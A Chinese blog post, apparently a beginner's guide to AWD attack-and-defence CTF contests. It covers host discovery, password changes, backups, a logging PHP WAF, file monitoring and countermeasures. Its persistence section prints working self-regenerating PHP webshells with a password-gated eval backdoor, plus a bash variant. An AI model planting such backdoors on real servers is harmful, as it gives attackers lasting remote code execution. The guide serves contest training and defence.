<!DOCTYPE html><html lang="zh-CN" data-theme="light"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"><title>AWD新手入门WEB篇 | 惜缘怀古的博客</title><meta name="keywords" content="惜缘怀古，博客"><meta name="author" content="惜缘怀古"><meta name="copyright" content="惜缘怀古"><meta name="format-detection" content="telephone=no"><meta name="theme-color" content="#ffffff"><meta name="description" content="​         Attack With Defence主机发现：12345678910111213141516171819202122232425262728293031323334import urllib.requestimport timeopener &#x3D; urllib.request.build_opener()opener.addheaders &#x3D; [(&amp;#x27;User-agen">
<meta property="og:type" content="article">
<meta property="og:title" content="AWD新手入门WEB篇">
<meta property="og:url" content="https://xiyuanhuaigu.gitee.io/2022/09/11/AWD%E6%96%B0%E6%89%8B%E5%85%A5%E9%97%A8WEB%E7%AF%87/index.html">
<meta property="og:site_name" content="惜缘怀古的博客">
<meta property="og:description" content="​         Attack With Defence主机发现：12345678910111213141516171819202122232425262728293031323334import urllib.requestimport timeopener &#x3D; urllib.request.build_opener()opener.addheaders &#x3D; [(&amp;#x27;User-agen">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/e9eb0702db182d690f80a88899cc212e7bf2ba24_raw.jpg">
<meta property="article:published_time" content="2022-09-11T08:40:44.000Z">
<meta property="article:modified_time" content="2022-09-15T10:25:21.670Z">
<meta property="article:author" content="惜缘怀古">
<meta property="article:tag" content="惜缘怀古，博客">
<meta name="twitter:card" content="summary">
<meta name="twitter:image" content="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/e9eb0702db182d690f80a88899cc212e7bf2ba24_raw.jpg"><link rel="shortcut icon" href="/img/favicon.png"><link rel="canonical" href="https://xiyuanhuaigu.gitee.io/2022/09/11/AWD%E6%96%B0%E6%89%8B%E5%85%A5%E9%97%A8WEB%E7%AF%87/"><link rel="preconnect" href="//cdn.jsdelivr.net"/><link rel="preconnect" href="//busuanzi.ibruce.info"/><link rel="stylesheet" href="/css/index.css"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css" media="print" onload="this.media='all'"><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.css" media="print" onload="this.media='all'"><script>const GLOBAL_CONFIG = { 
  root: '/',
  algolia: undefined,
  localSearch: undefined,
  translate: undefined,
  noticeOutdate: undefined,
  highlight: {"plugin":"highlighjs","highlightCopy":true,"highlightLang":true,"highlightHeightLimit":false},
  copy: {
    success: '复制成功',
    error: '复制错误',
    noSupport: '浏览器不支持'
  },
  relativeDate: {
    homepage: false,
    post: false
  },
  runtime: '',
  date_suffix: {
    just: '刚刚',
    min: '分钟前',
    hour: '小时前',
    day: '天前',
    month: '个月前'
  },
  copyright: undefined,
  lightbox: 'fancybox',
  Snackbar: undefined,
  source: {
    jQuery: 'https://cdn.jsdelivr.net/npm/jquery@latest/dist/jquery.min.js',
    justifiedGallery: {
      js: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/js/jquery.justifiedGallery.min.js',
      css: 'https://cdn.jsdelivr.net/npm/justifiedGallery/dist/css/justifiedGallery.min.css'
    }
  },
  isPhotoFigcaption: false,
  islazyload: false,
  isanchor: false
}</script><script id="config-diff">var GLOBAL_CONFIG_SITE = {
  title: 'AWD新手入门WEB篇',
  isPost: true,
  isHome: false,
  isHighlightShrink: false,
  isToc: true,
  postUpdate: '2022-09-15 18:25:21'
}</script><noscript><style type="text/css">
  #nav {
    opacity: 1
  }
  .justified-gallery img {
    opacity: 1
  }

  #recent-posts time,
  #post-meta time {
    display: inline !important
  }
</style></noscript><script>(win=>{
    win.saveToLocal = {
      set: function setWithExpiry(key, value, ttl) {
        if (ttl === 0) return
        const now = new Date()
        const expiryDay = ttl * 86400000
        const item = {
          value: value,
          expiry: now.getTime() + expiryDay,
        }
        localStorage.setItem(key, JSON.stringify(item))
      },

      get: function getWithExpiry(key) {
        const itemStr = localStorage.getItem(key)

        if (!itemStr) {
          return undefined
        }
        const item = JSON.parse(itemStr)
        const now = new Date()

        if (now.getTime() > item.expiry) {
          localStorage.removeItem(key)
          return undefined
        }
        return item.value
      }
    }
  
    win.getScript = url => new Promise((resolve, reject) => {
      const script = document.createElement('script')
      script.src = url
      script.async = true
      script.onerror = reject
      script.onload = script.onreadystatechange = function() {
        const loadState = this.readyState
        if (loadState && loadState !== 'loaded' && loadState !== 'complete') return
        script.onload = script.onreadystatechange = null
        resolve()
      }
      document.head.appendChild(script)
    })
  
      win.activateDarkMode = function () {
        document.documentElement.setAttribute('data-theme', 'dark')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#0d0d0d')
        }
      }
      win.activateLightMode = function () {
        document.documentElement.setAttribute('data-theme', 'light')
        if (document.querySelector('meta[name="theme-color"]') !== null) {
          document.querySelector('meta[name="theme-color"]').setAttribute('content', '#ffffff')
        }
      }
      const t = saveToLocal.get('theme')
    
          if (t === 'dark') activateDarkMode()
          else if (t === 'light') activateLightMode()
        
      const asideStatus = saveToLocal.get('aside-status')
      if (asideStatus !== undefined) {
        if (asideStatus === 'hide') {
          document.documentElement.classList.add('hide-aside')
        } else {
          document.documentElement.classList.remove('hide-aside')
        }
      }
    
    const detectApple = () => {
      if (GLOBAL_CONFIG_SITE.isHome && /iPad|iPhone|iPod|Macintosh/.test(navigator.userAgent)){
        document.documentElement.classList.add('apple')
      }
    }
    detectApple()
    })(window)</script><meta name="generator" content="Hexo 5.4.0"></head><body><div id="sidebar"><div id="menu-mask"></div><div id="sidebar-menus"><div class="avatar-img is-center"><img src="/img/2.jpg" onerror="onerror=null;src='/img/friend_404.gif'" alt="avatar"/></div><div class="site-data is-center"><div class="data-item"><a href="/archives/"><div class="headline">文章</div><div class="length-num">66</div></a></div><div class="data-item"><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a></div><div class="data-item"><a href="/categories/"><div class="headline">分类</div><div class="length-num">0</div></a></div></div><hr/></div></div><div class="post" id="body-wrap"><header class="post-bg" id="page-header" style="background-image: url('https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/e9eb0702db182d690f80a88899cc212e7bf2ba24_raw.jpg')"><nav id="nav"><span id="blog_name"><a id="site-name" href="/">惜缘怀古的博客</a></span><div id="menus"><div id="toggle-menu"><a class="site-page"><i class="fas fa-bars fa-fw"></i></a></div></div></nav><div id="post-info"><h1 class="post-title">AWD新手入门WEB篇</h1><div id="post-meta"><div class="meta-firstline"><span class="post-meta-date"><i class="far fa-calendar-alt fa-fw post-meta-icon"></i><span class="post-meta-label">发表于</span><time class="post-meta-date-created" datetime="2022-09-11T08:40:44.000Z" title="发表于 2022-09-11 16:40:44">2022-09-11</time><span class="post-meta-separator">|</span><i class="fas fa-history fa-fw post-meta-icon"></i><span class="post-meta-label">更新于</span><time class="post-meta-date-updated" datetime="2022-09-15T10:25:21.670Z" title="更新于 2022-09-15 18:25:21">2022-09-15</time></span></div><div class="meta-secondline"><span class="post-meta-separator">|</span><span class="post-meta-wordcount"><i class="far fa-file-word fa-fw post-meta-icon"></i><span class="post-meta-label">字数总计:</span><span class="word-count">1.7k</span><span class="post-meta-separator">|</span><i class="far fa-clock fa-fw post-meta-icon"></i><span class="post-meta-label">阅读时长:</span><span>7分钟</span></span><span class="post-meta-separator">|</span><span class="post-meta-pv-cv" id="" data-flag-title="AWD新手入门WEB篇"><i class="far fa-eye fa-fw post-meta-icon"></i><span class="post-meta-label">阅读量:</span><span id="busuanzi_value_page_pv"></span></span></div></div></div></header><main class="layout" id="content-inner"><div id="post"><article class="post-content" id="article-container"><p>​        </p>
<h1 id="Attack-With-Defence"><a href="#Attack-With-Defence" class="headerlink" title="Attack With Defence"></a>Attack With Defence</h1><h2 id="主机发现："><a href="#主机发现：" class="headerlink" title="主机发现："></a>主机发现：</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> urllib.request</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line">opener = urllib.request.build_opener()</span><br><span class="line">opener.addheaders = [(<span class="string">&#x27;User-agent&#x27;</span>, <span class="string">&#x27;Mozilla/49.0.2&#x27;</span>)]</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> n <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">255</span>):</span><br><span class="line">    nb = <span class="built_in">str</span>(n)</span><br><span class="line">    target = <span class="string">&#x27;http://192-168-1-&#x27;</span> + nb + <span class="string">&#x27;.pvp1453.bugku.cn/&#x27;</span></span><br><span class="line">    new = <span class="built_in">open</span>(<span class="string">&#x27;C:/Users/HP/Desktop/bugkuwz.txt&#x27;</span>, mode=<span class="string">&#x27;a+&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    new.write(target)</span><br><span class="line">    new.write(<span class="string">&#x27;\n&#x27;</span>)</span><br><span class="line"></span><br><span class="line">file = <span class="built_in">open</span>(<span class="string">&#x27;C:/Users/HP/Desktop/bugkuwz.txt&#x27;</span>)</span><br><span class="line">lines = file.readlines()</span><br><span class="line">aa = []</span><br><span class="line"><span class="keyword">for</span> line <span class="keyword">in</span> lines:</span><br><span class="line">    temp = line.replace(<span class="string">&#x27;\n&#x27;</span>, <span class="string">&#x27;&#x27;</span>)</span><br><span class="line">    aa.append(temp)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;存活网站如下：&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> a <span class="keyword">in</span> aa:</span><br><span class="line">    tempUrl = a</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        opener.<span class="built_in">open</span>(tempUrl)</span><br><span class="line">        <span class="built_in">print</span>(tempUrl)</span><br><span class="line">    <span class="keyword">except</span> urllib.error.HTTPError:</span><br><span class="line">        <span class="comment"># print(tempUrl+&#x27;     访问页面出错&#x27;)</span></span><br><span class="line">        time.sleep(<span class="number">0.5</span>)</span><br><span class="line">    <span class="keyword">except</span> urllib.error.URLError:</span><br><span class="line">        <span class="comment"># print(tempUrl+&#x27;     访问页面出错&#x27;)</span></span><br><span class="line">        time.sleep(<span class="number">0.5</span>)</span><br><span class="line">    time.sleep(<span class="number">0.1</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>



<h2 id="修改SSH密码"><a href="#修改SSH密码" class="headerlink" title="修改SSH密码"></a>修改SSH密码</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">passwd username</span><br><span class="line"># 输入密码确认即可</span><br></pre></td></tr></table></figure>



<h2 id="修改数据库密码及备份数据库（以-mysql-为例）"><a href="#修改数据库密码及备份数据库（以-mysql-为例）" class="headerlink" title="修改数据库密码及备份数据库（以 mysql 为例）"></a>修改数据库密码及备份数据库（以 mysql 为例）</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">1. 登录 mysql 终端，运行：</span><br><span class="line">mysql&gt; set password=password(&#x27;new password&#x27;);</span><br><span class="line">mysql&gt;flush privileges;</span><br><span class="line">2. 修改 mysql user 表</span><br><span class="line">mysql&gt;use mysql;</span><br><span class="line">mysql&gt;update user set password=password(&#x27;new password&#x27;) where user=&#x27;root&#x27;;</span><br><span class="line">mysql&gt;flush privileges;</span><br><span class="line">3. 使用 GRANT 语句</span><br><span class="line">mysql&gt;GRANT ALL PRIVILEGES ON *.* TO &#x27;root&#x27;@&#x27;127.0.0.1&#x27; IDENTIFIED BY &#x27;new password&#x27; WITH GRANT OPTION;</span><br><span class="line">mysql&gt;flush privileges;</span><br><span class="line">4. mysqladmin</span><br><span class="line">[root@ubuntu]# mysqladmin -u root password &quot;new password&quot;;（注意双引号或不加）</span><br></pre></td></tr></table></figure>



<p>备份指定的多个数据库</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[root@ubuntu]# mysqldump -u root -p --databases databasesname &gt; /tmp/db.sql</span><br></pre></td></tr></table></figure>

<p>数据库恢复，在mysql终端下执行</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 命令格式：source FILE_PATH</span><br><span class="line">source ~/db.sql（原数据库需存在）</span><br></pre></td></tr></table></figure>

<p>比赛前一定要快速修改密码和备份，否则密码被别人更改需要重置环境就尴尬了，修改数据库密码后注意修改源码配置文件，避免服务崩溃。同时赛前也可以准备些例如 phpmyadmin 的批量爆破和改密的脚本。</p>
<h2 id="源码备份"><a href="#源码备份" class="headerlink" title="源码备份"></a>源码备份</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"># 打包目录</span><br><span class="line">tar -zcvf archive_name.tar.gz directory_to_compress</span><br><span class="line"># 解包</span><br><span class="line">tar -zxvf archive_name.tar.gz</span><br></pre></td></tr></table></figure>

<p>之后使用 scp 命令或者 winscp，mobaxterm 等工具下载打包后的源码</p>
<h2 id="上-WAF"><a href="#上-WAF" class="headerlink" title="上 WAF"></a>上 WAF</h2><p>备份好源码之后要做的就是监控访问，截取攻击向量，做好流量重放的准备。一般的 WAF 只需要做到记录访问的基本信息如时间，ip，get，post，cookie，UA即可。也可以自行编写通防 WAF，功能如关键字检测，截取上传文件内容等。</p>
<p>但一般通防 WAF 会影响主办方 check，使用需谨慎，同时注意上 WAF 崩溃的问题。</p>
<p>可以使用 bash 命令在每一个 php 文件前面加上 <code>require_once</code> 包含 WAF 文件</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"># 批量加waf /var/www/html/ 目录下每个 php 文件前加上 &lt;?php require_once &quot;/tmp/waf.php&quot;;?&gt;</span><br><span class="line">find /var/www/html/ -path /var/www/html/124687a7bc37d57cc9ecd1cbd9d676f7 -prune -o  -type f -name &#x27;*.php&#x27;|xargs  sed -i &#x27;1i&lt;?php require_once &quot;/tmp/waf.php&quot;;?&gt;&#x27;</span><br></pre></td></tr></table></figure>

<p>也可以修改 php.ini 的 auto_prepend_file 属性，但一般不会有重启 php 服务权限</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">; Automatically add files before PHP document.</span><br><span class="line">; http://php.net/auto-prepend-file</span><br><span class="line">auto_prepend_file = /tmp/waf.php</span><br></pre></td></tr></table></figure>

<p>附上郁离歌的一枚 WAF，会在 <code>/tmp/loooooooogs</code> 目录下生成日志文件</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">error_reporting(0); </span><br><span class="line">define(&#x27;LOG_FILEDIR&#x27;,&#x27;/tmp/loooooooogs&#x27;);</span><br><span class="line">if(!is_dir(LOG_FILEDIR))&#123;</span><br><span class="line">	mkdir(LOG_FILEDIR);</span><br><span class="line">&#125;</span><br><span class="line">function waf() </span><br><span class="line">&#123; </span><br><span class="line">if (!function_exists(&#x27;getallheaders&#x27;)) &#123; </span><br><span class="line">function getallheaders() &#123; </span><br><span class="line">foreach ($_SERVER as $name =&gt; $value) &#123; </span><br><span class="line">if (substr($name, 0, 5) == &#x27;HTTP_&#x27;) </span><br><span class="line">$headers[str_replace(&#x27; &#x27;, &#x27;-&#x27;, ucwords(strtolower(str_replace(&#x27;_&#x27;, &#x27; &#x27;, substr($name, 5)))))] = $value;</span><br><span class="line">&#125; </span><br><span class="line">return $headers; </span><br><span class="line">&#125; </span><br><span class="line">&#125; </span><br><span class="line">$get = $_GET; </span><br><span class="line">$post = $_POST; </span><br><span class="line">$cookie = $_COOKIE; </span><br><span class="line">$header = getallheaders(); </span><br><span class="line">$files = $_FILES; </span><br><span class="line">$ip = $_SERVER[&quot;REMOTE_ADDR&quot;]; </span><br><span class="line">$method = $_SERVER[&#x27;REQUEST_METHOD&#x27;]; </span><br><span class="line">$filepath = $_SERVER[&quot;SCRIPT_NAME&quot;]; </span><br><span class="line">foreach ($_FILES as $key =&gt; $value) &#123; </span><br><span class="line">$files[$key][&#x27;content&#x27;] = file_get_contents($_FILES[$key][&#x27;tmp_name&#x27;]); </span><br><span class="line">file_put_contents($_FILES[$key][&#x27;tmp_name&#x27;], &quot;virink&quot;); </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">unset($header[&#x27;Accept&#x27;]);</span><br><span class="line">$input = array(&quot;Get&quot;=&gt;$get, &quot;Post&quot;=&gt;$post, &quot;Cookie&quot;=&gt;$cookie, &quot;File&quot;=&gt;$files, &quot;Header&quot;=&gt;$header);</span><br><span class="line"></span><br><span class="line">logging($input);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function logging($var)&#123; </span><br><span class="line">$filename = $_SERVER[&#x27;REMOTE_ADDR&#x27;];</span><br><span class="line">$LOG_FILENAME = LOG_FILEDIR.&quot;/&quot;.$filename;</span><br><span class="line">$time = date(&quot;Y-m-d G:i:s&quot;);</span><br><span class="line">file_put_contents($LOG_FILENAME, &quot;\r\n&quot;.$time.&quot;\r\n&quot;.print_r($var, true), FILE_APPEND); </span><br><span class="line">file_put_contents($LOG_FILENAME,&quot;\r\n&quot;.&#x27;http://&#x27;.$_SERVER[&#x27;HTTP_HOST&#x27;].$_SERVER[&#x27;PHP_SELF&#x27;].&#x27;?&#x27;.$_SERVER[&#x27;QUERY_STRING&#x27;], FILE_APPEND);</span><br><span class="line">file_put_contents($LOG_FILENAME,&quot;\r\n***************************************************************&quot;,FILE_APPEND);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">waf(); </span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>生成的日志是 www-data 权限，一般 ctf 权限是删除不了的。上好 WAF 之后做好打包备份，除了源文件一份备份，我一般上好 WAF ，打好补丁还会做备份。</p>
<h2 id="文件监控"><a href="#文件监控" class="headerlink" title="文件监控"></a>文件监控</h2><p>网上有很多文件监控的脚本，也可以使用 bash 命令自行查找出例如10分钟内修改过的 php 文件，这里推荐一个师傅的文件监控工具，文件相关操作都清晰明了。</p>
<p><a target="_blank" rel="noopener" href="https://github.com/TheKingOfDuck/FileMonitor">https://github.com/TheKingOfDuck/FileMonitor</a></p>
<p><a target="_blank" rel="noopener" href="https://jlkl.github.io/2019/02/08/Web_13/20190207165325.png"><img src="https://jlkl.github.io/2019/02/08/Web_13/20190207165325.png" alt="img"></a></p>
<p>线下环境一般不能访问外网，所以需要提前下载好脚本和相关依赖，这个工具需要 <code>watchdog</code> 依赖，也是要提前准备的。</p>
<p>使用 <code>touch</code> 命令修改文件时间戳可以一定程度防范对文件的检测。</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip install watchdog</span><br></pre></td></tr></table></figure>

<h2 id="权限维持——不死马"><a href="#权限维持——不死马" class="headerlink" title="权限维持——不死马"></a>权限维持——不死马</h2><p>不死马也称内存马，删除掉木马之后，由于操作存于内存当中，还是会不断地生成木马，达到权限维持的目的。</p>
<h2 id="6-1-不死马使用"><a href="#6-1-不死马使用" class="headerlink" title="6.1. 不死马使用"></a>6.1. 不死马使用</h2><p>常规不死马，先删除自身，不断生成 <code>.index.php</code> 文件</p>
<p><a target="_blank" rel="noopener" href="https://jlkl.github.io/2019/02/08/Web_13/20190207172500.png"><img src="https://jlkl.github.io/2019/02/08/Web_13/20190207172500.png" alt="img"></a></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">ignore_user_abort(true);</span><br><span class="line">set_time_limit(0);</span><br><span class="line">unlink(__FILE__);</span><br><span class="line">$file = &#x27;./.index.php&#x27;;</span><br><span class="line">$code = &#x27;&lt;?php if(md5($_POST[&quot;pass&quot;])==&quot;3a50065e1709acc47ba0c9238294364f&quot;)&#123;@eval($_POST[a]);&#125; ?&gt;&#x27;;</span><br><span class="line">//pass=Sn3rtf4ck 马儿用法：fuckyou.php?pass=Sn3rtf4ck&amp;a=command</span><br><span class="line">while (1)&#123;</span><br><span class="line">	file_put_contents($file,$code);</span><br><span class="line">	usleep(5000);</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>这里添加了一个密码 <code>pass</code> 防止别人借刀杀人，我们平时也可以编写自己的木马，别人就算拿到木马也不知道怎么利用，附上一句话木马的各种变形</p>
<p><a target="_blank" rel="noopener" href="http://www.secist.com/archives/1947.html">http://www.secist.com/archives/1947.html</a></p>
<p>bash 命令不死马，效果也是不断生成 <code>.index.php</code> 文件，也可以使用命令不断创建 nc 后门</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">system(&#x27;while true;do echo \&#x27;&lt;?php  if(md5($_GET[pass])==\&quot;3a50065e1709acc47ba0c9238294364f\&quot;)&#123;@eval($_GET[a]);&#125; ?&gt;\&#x27; &gt;fuck.php;sleep 0.1;done;&#x27;);</span><br></pre></td></tr></table></figure>

<h2 id="6-2-不死马的克制"><a href="#6-2-不死马的克制" class="headerlink" title="6.2. 不死马的克制"></a>6.2. 不死马的克制</h2><ol>
<li>杀掉不死马运行的进程，直接删除脚本没用，因为php执行的时候已经把脚本读进去解释成opcode运行了</li>
</ol>
<p><code>ps aux</code> 查看运行的进程</p>
<p><a target="_blank" rel="noopener" href="https://jlkl.github.io/2019/02/08/Web_13/20190207173536.png"><img src="https://jlkl.github.io/2019/02/08/Web_13/20190207173536.png" alt="img"></a></p>
<p>www-data 权限运行了 4 个 apache 进程，不死马随机运行于这 4 个进程，直接 <code>kill pid</code> （www-data 权限下）全部杀掉这几个进程就可以了</p>
<p>可以使用 <code>kill -9 -1</code> 杀死当前用户所有进程（有权限下慎用），也可以直接 <code>killall apache2</code> 杀掉 apache 所有子进程</p>
<ol>
<li>重启 apache，php 等web服务（一般不会有权限）</li>
</ol>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">service apache2 restart</span><br><span class="line">service php restart</span><br></pre></td></tr></table></figure>

<ol>
<li>用一个脚本竞争写入，脚本同不死马，usleep要低于对方不死马设置的值</li>
<li>创建一个和不死马生成的马一样名字的文件夹，测试了下需要先删除再创建文件夹</li>
</ol>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="mailto:undefined">惜缘怀古</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://xiyuanhuaigu.gitee.io/2022/09/11/AWD%E6%96%B0%E6%89%8B%E5%85%A5%E9%97%A8WEB%E7%AF%87/">https://xiyuanhuaigu.gitee.io/2022/09/11/AWD%E6%96%B0%E6%89%8B%E5%85%A5%E9%97%A8WEB%E7%AF%87/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://xiyuanhuaigu.gitee.io" target="_blank">惜缘怀古的博客</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"></div><div class="post_share"><div class="social-share" data-image="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/e9eb0702db182d690f80a88899cc212e7bf2ba24_raw.jpg" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/social-share.js/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/social-share.js/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="prev-post pull-left"><a href="/2022/09/13/kali-WIFI%E6%94%BB%E5%87%BB/"><img class="prev-cover" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/f08e07cfb3768ac97a690c2dd413eac72a68ae86_raw.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of previous post"><div class="pagination-info"><div class="label">上一篇</div><div class="prev_info">kali WIFI攻击</div></div></a></div><div class="next-post pull-right"><a href="/2022/09/08/iWrite-%E4%B8%8D%E8%AE%A9%E7%B2%98%E8%B4%B4%E7%9A%84%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95/"><img class="next-cover" src="https://xyhutc.oss-cn-qingdao.aliyuncs.com/giteetuchuang/c26ad5f7afd9ae7f1975da8b781398f0d5214b0a_raw.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">iWrite 不让粘贴的解决办法</div></div></a></div></nav></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="/img/2.jpg" onerror="this.onerror=null;this.src='/img/friend_404.gif'" alt="avatar"/></div><div class="author-info__name">惜缘怀古</div><div class="author-info__description">唯有那份炫目，未曾忘却</div></div><div class="card-info-data is-center"><div class="card-info-data-item"><a href="/archives/"><div class="headline">文章</div><div class="length-num">66</div></a></div><div class="card-info-data-item"><a href="/tags/"><div class="headline">标签</div><div class="length-num">0</div></a></div><div class="card-info-data-item"><a href="/categories/"><div class="headline">分类</div><div class="length-num">0</div></a></div></div><a class="button--animated" id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/xxxxxx"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn card-announcement-animation"></i><span>公告</span></div><div class="announcement_content">This is my Blog</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#Attack-With-Defence"><span class="toc-number">1.</span> <span class="toc-text">Attack With Defence</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%B8%BB%E6%9C%BA%E5%8F%91%E7%8E%B0%EF%BC%9A"><span class="toc-number">1.1.</span> <span class="toc-text">主机发现：</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BF%AE%E6%94%B9SSH%E5%AF%86%E7%A0%81"><span class="toc-number">1.2.</span> <span class="toc-text">修改SSH密码</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BF%AE%E6%94%B9%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AF%86%E7%A0%81%E5%8F%8A%E5%A4%87%E4%BB%BD%E6%95%B0%E6%8D%AE%E5%BA%93%EF%BC%88%E4%BB%A5-mysql-%E4%B8%BA%E4%BE%8B%EF%BC%89"><span class="toc-number">1.3.</span> <span 